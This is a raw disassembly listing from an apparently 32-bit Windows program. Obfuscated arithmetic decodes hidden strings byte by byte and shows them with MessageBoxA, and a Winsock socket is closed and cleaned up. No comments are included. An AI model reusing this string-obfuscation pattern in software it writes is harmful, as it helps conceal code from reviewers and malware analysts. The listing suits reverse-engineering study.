jmp 0x46ce5d
lea ecx, [ebp + 4]
cmp edi, ecx
jne 0x46c91b
mov dword [esp], esi
lea ecx, [eax - 0x17519c02]
lea ebx, [eax + edx]
add ebx, 0xe8ae63fe
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe
jmp 0x46cd40
cmp edi, esi
jne 0x46cda3
lea ecx, [eax - 0x6b2a4338]
lea ebx, [eax + edx]
add ebx, 0x94d5bcc8
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x88
jmp 0x46cd9a
lea ecx, [ebp + 2]
cmp edi, ecx
jne 0x46cdc7
lea ecx, [eax - 0x33f3fec2]
lea ebx, [eax + edx]
add ebx, 0xcc0c013e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x4e
jmp 0x46cb13
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x46cdef
mov dword [esp], esi
lea ecx, [eax - 0x7d2b187c]
lea ebx, [eax + edx]
add ebx, 0x82d4e784
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x64
lea esi, [eax + 0x684105ce]
lea ecx, [edx + eax]
add ecx, 0x684105ce
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0x5e
mov byte [esp + eax + 0x1d0], cl
movzx ecx, cl
not ebp
add ebp, eax
sub ebp, ecx
mov eax, ebp
mov ebp, dword [esp]
lea esi, [eax - 0x40a40d48]
lea ecx, [eax + edx]
add ecx, 0xbf5bf2b8
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0xf8
mov byte [esp + eax + 0x1d0], cl
sub eax, edi
inc edi
movzx edx, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
add edx, ebp
add eax, edx
jmp 0x46ce64
lea ecx, [ebp + 5]
cmp edi, ecx
jne 0x46ce17
lea ecx, [eax + 0x4dad2418]
lea ebx, [eax + edx]
add ebx, 0x4dad2418
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x58
jmp 0x46ce5a
mov dword [esp + 8], ecx
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x46ce3b
lea ecx, [eax + 0x7a41db12]
lea ebx, [eax + edx]
add ebx, 0x7a41db12
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x82
jmp 0x46cb92
lea ecx, [ebp + 0xa]
cmp edi, ecx
jne 0x46cee5
lea ecx, [eax + 0x310ac158]
lea ebx, [eax + edx]
add ebx, 0x310ac158
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x98
jmp 0x46cd6d
lea ecx, [ebp + 4]
cmp edi, ecx
jne 0x46ce73
lea ecx, [eax - 0x55e72840]
lea ebx, [eax + edx]
add ebx, 0xaa18d7c0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc0
jmp 0x46cb13
lea ecx, [ebp + 4]
cmp edi, ecx
jne 0x46ce97
lea ecx, [eax + 0x2877b4e6]
lea ebx, [eax + edx]
add ebx, 0x2877b4e6
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb6
mov edi, dword [esp]
movzx ecx, bl
not ecx
add eax, ecx
inc eax
cmp eax, 0x49
jb 0x46c8c1
jmp 0x46cf08
lea ecx, [ebp + 3]
cmp edi, ecx
jne 0x46cec0
lea ecx, [eax + 0x584eb194]
lea ebx, [eax + edx]
add ebx, 0x584eb194
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf4
jmp 0x46cb15
lea ecx, [ebp + 5]
cmp edi, ecx
mov ecx, dword [esp + 8]
jne 0x46cb43
lea ecx, [eax - 0x29527146]
lea ebx, [eax + edx]
add ebx, 0xd6ad8eba
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xea
jmp 0x46ce5d
lea ecx, [ebp + 6]
cmp edi, ecx
jne 0x46cb63
lea ebx, [eax + edx]
add ebx, 0x92c73bbe
add eax, 0x92c73bbe
and eax, edx
add eax, eax
sub ebx, eax
add bl, 0xce
jmp 0x46c8b1
mov eax, 0x1721a22
jmp 0x46cf11
mov eax, 0x1572d38
add eax, esp
add eax, 0x1d0
xor ecx, ecx
push ecx
push dword [esp + 8]
push eax
push ecx
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 0x30]
call fcn.0047176d
add esp, 4
push dword [esp + 0x2c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
inc esi
jmp 0x46d466
mov eax, 0x1672f30
add eax, esp
add eax, 0x34
mov dword [esp + 8], eax
xorps xmm0, xmm0
movups xmmword [esp + 0x85], xmm0
mov byte [esp + 0x84], 0x2c
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ebp, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46d43f
movzx edx, byte [esp + eax + 0x84]
lea edi, [ebp + 1]
cmp esi, edi
jae 0x46d00e
lea ecx, [eax - 0x217c8b7a]
lea ebx, [eax + edx]
add ebx, 0xde837486
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x56
cmp ebp, eax
ja 0x46d44a
mov dword [esp], edi
lea edi, [ebp + 4]
cmp esi, edi
jae 0x46d055
lea ecx, [eax + 0x40c88efe]
lea ebx, [eax + edx]
add ebx, 0x40c88efe
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe
lea ecx, [esi + ebp]
mov dword [esp + 4], ecx
cmp ecx, eax
jbe 0x46d076
lea ecx, [ebp + 0xa]
cmp esi, ecx
jne 0x46d135
lea ecx, [eax - 0x6383ee6c]
lea ebx, [eax + edx]
add ebx, 0x9c7c1194
and ecx, edx
mov byte [esp + 4], 0xf4
jmp 0x46d0b8
jne 0x46d02d
lea ecx, [eax - 0x6475a26e]
lea ebx, [eax + edx]
add ebx, 0x9b8a5d92
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 2
jmp 0x46d2e3
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x46d0e1
lea ecx, [eax + 0x5891469e]
lea ebx, [eax + edx]
add ebx, 0x5891469e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xae
jmp 0x46d2b6
cmp esi, dword [esp]
jne 0x46d109
lea ecx, [eax - 0x23087f6]
lea ebx, [eax + edx]
add ebx, 0xfdcf780a
and ecx, edx
mov byte [esp + 4], 0xba
jmp 0x46d0b8
lea ecx, [ebp + 8]
cmp esi, ecx
jae 0x46d155
lea ecx, [eax - 0x217c8b7a]
lea ebx, [eax + edx]
add ebx, 0xde837486
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x56
cmp esi, dword [esp]
jne 0x46d1cd
lea ecx, [eax - 0x3da65306]
lea ebx, [eax + edx]
add ebx, 0xc259acfa
and ecx, edx
mov byte [esp + 4], 0x2a
add ecx, ecx
sub ebx, ecx
add bl, byte [esp + 4]
lea edi, [eax - 0x791c1e16]
lea ecx, [edx + eax]
add ecx, 0x86e3e1ea
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x9a
mov byte [esp + eax + 0x84], cl
jmp 0x46d12c
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x46d17b
lea ecx, [eax - 0x2d60e74a]
lea ebx, [eax + edx]
add ebx, 0xd29f18b6
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 6
jmp 0x46d3a1
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x46d1a5
lea ecx, [eax - 0x45299eea]
lea ebx, [eax + edx]
add ebx, 0xbad66116
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x66
mov ebp, dword [esp]
dec eax
jmp 0x46d3a8
cmp esi, edi
jne 0x46d1f5
lea edi, [eax + 0xaa587dc]
lea ebx, [eax + edx]
add ebx, 0xaa587dc
and edi, edx
mov cl, 0xfc
jmp 0x46d283
cmp esi, dword [esp]
jne 0x46d21d
lea ecx, [eax - 0x7e6ee204]
lea ebx, [eax + edx]
add ebx, 0x81911dfc
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x1c
jmp 0x46d2e3
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x46d23d
lea ecx, [eax - 0x7059fe3e]
lea ebx, [eax + edx]
add ebx, 0x8fa601c2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb2
add esi, ebp
jmp 0x46d3a1
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x46d265
lea ecx, [eax - 0x510dfaba]
lea ebx, [eax + edx]
add ebx, 0xaef20546
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x16
jmp 0x46d3a1
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x46d2ec
lea ecx, [eax + 0x3c677f12]
lea ebx, [eax + edx]
add ebx, 0x3c677f12
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x82
jmp 0x46d12f
lea ecx, [ebp + 9]
cmp esi, ecx
jne 0x46d423
lea ecx, [eax - 0x7b4ca60c]
lea ebx, [eax + edx]
add ebx, 0x84b359f4
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x54
jmp 0x46d2e3
lea ecx, [ebp + 3]
cmp esi, ecx
jne 0x46d339
lea edi, [eax - 0x4610fec]
lea ebx, [eax + edx]
add ebx, 0xfb9ef014
and edi, edx
mov cl, 0x74
jmp 0x46d283
lea ecx, [ebp + 7]
cmp esi, ecx
jne 0x46cfab
lea ecx, [eax + 0x9b3d3da]
lea ebx, [eax + edx]
add ebx, 0x9b3d3da
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa
jmp 0x46d12f
lea ecx, [ebp + 7]
cmp esi, ecx
jne 0x46d361
lea edi, [eax + 0x6bf8ee52]
lea ebx, [eax + edx]
add ebx, 0x6bf8ee52
and edi, edx
mov cl, 0xc2
add edi, edi
sub ebx, edi
add bl, cl
lea edi, [eax + 0xf1b402]
lea ecx, [edx + eax]
add ecx, 0xf1b402
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0xf2
mov byte [esp + eax + 0x84], cl
movzx ecx, cl
not ebp
add ebp, eax
sub ebp, ecx
mov eax, ebp
mov ebp, dword [esp]
lea edi, [eax - 0x208ad778]
lea ecx, [eax + edx]
add ecx, 0xdf752888
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x48
mov byte [esp + eax + 0x84], cl
sub eax, esi
inc esi
movzx edx, byte [esp + eax + 0x82]
add eax, 0xfffffffe
add edx, ebp
add eax, edx
jmp 0x46d3a8
lea ecx, [ebp + 2]
cmp esi, ecx
jne 0x46d382
lea esi, [eax - 0x69197e2]
lea ebx, [eax + edx]
add ebx, 0xf96e681e
and esi, edx
mov cl, 0x2e
add esi, esi
sub ebx, esi
add bl, cl
lea ecx, [eax + 0x43eacaf6]
lea esi, [edx + eax]
add esi, 0x43eacaf6
and ecx, edx
add ecx, ecx
mov edx, esi
sub edx, ecx
add dl, bl
add dl, 0x46
mov byte [esp + eax + 0x84], dl
mov esi, dword [esp + 4]
jmp 0x46d3a1
lea ecx, [ebp + 5]
cmp esi, ecx
jne 0x46d099
lea ecx, [eax - 0x10456bbc]
lea ebx, [eax + edx]
add ebx, 0xefba9444
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x24
jmp 0x46d12f
cmp esi, edi
jne 0x46d3b7
lea ecx, [eax + 0x28ffd75e]
lea ebx, [eax + edx]
add ebx, 0x28ffd75e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x6e
jmp 0x46d2b6
lea ecx, [ebp + 6]
cmp esi, ecx
jne 0x46d3df
lea ecx, [eax + 0x737c3a36]
lea ebx, [eax + edx]
add ebx, 0x737c3a36
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x86
movzx ecx, bl
not ecx
add eax, ecx
inc eax
cmp eax, 0x11
jb 0x46cf7c
lea ecx, [ebp + 9]
cmp esi, ecx
jne 0x46cfd9
lea ecx, [eax - 0x19f93f96]
lea ebx, [eax + edx]
add ebx, 0xe606c06a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x1a
jmp 0x46d2e3
cmp esi, edi
jne 0x46d3fb
lea ebx, [eax + edx]
add ebx, 0xdd44a092
add eax, 0xdd44a092
and eax, edx
add eax, eax
sub ebx, eax
add bl, 2
jmp 0x46cf6c
mov eax, 0x155be8e
jmp 0x46d44f
mov eax, 0x1524a08
mov ecx, dword [esp + 8]
add eax, esp
add eax, 0x84
xor esi, esi
push esi
push ecx
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [esp + 0xc8]
cmp eax, 0x10
jb 0x46d4a6
mov ecx, dword [esp + 0xb4]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x46d49c
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.00471733
add esp, 8
mov eax, dword [esp + 0x28]
cmp eax, 0x10
jb 0x46d4e0
mov ecx, dword [esp + 0x14]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x46d4d6
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.00471733
add esp, 8
mov eax, dword [esp + 0x5e4]
cmp eax, 0x10
jb 0x46d520
mov ecx, dword [esp + 0x5d0]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x46d516
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.00471733
add esp, 8
mov eax, dword [esp + 0x5fc]
cmp eax, 0x10
jb 0x46d560
mov ecx, dword [esp + 0x5e8]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x46d556
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.00471733
add esp, 8
mov eax, dword [esp + 0x68]
cmp eax, 0x10
jb 0x467061
mov ecx, dword [esp + 0x54]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x46d594
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x46d634
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.00471733
add esp, 8
jmp 0x467061
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x466921
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x4674f1
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x468473
xor eax, eax
xor ebx, ebx
dec ebx
jmp 0x468870
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x468fc6
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x4693fb
xor eax, eax
xor ebx, ebx
dec ebx
jmp 0x469c3e
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46a076
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46a48f
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46a870
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46ae76
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46b356
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46bca0
xor eax, eax
xor ecx, ecx
dec ecx
jmp 0x46be2a
call fcn.00401301
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
jmp 0x45e598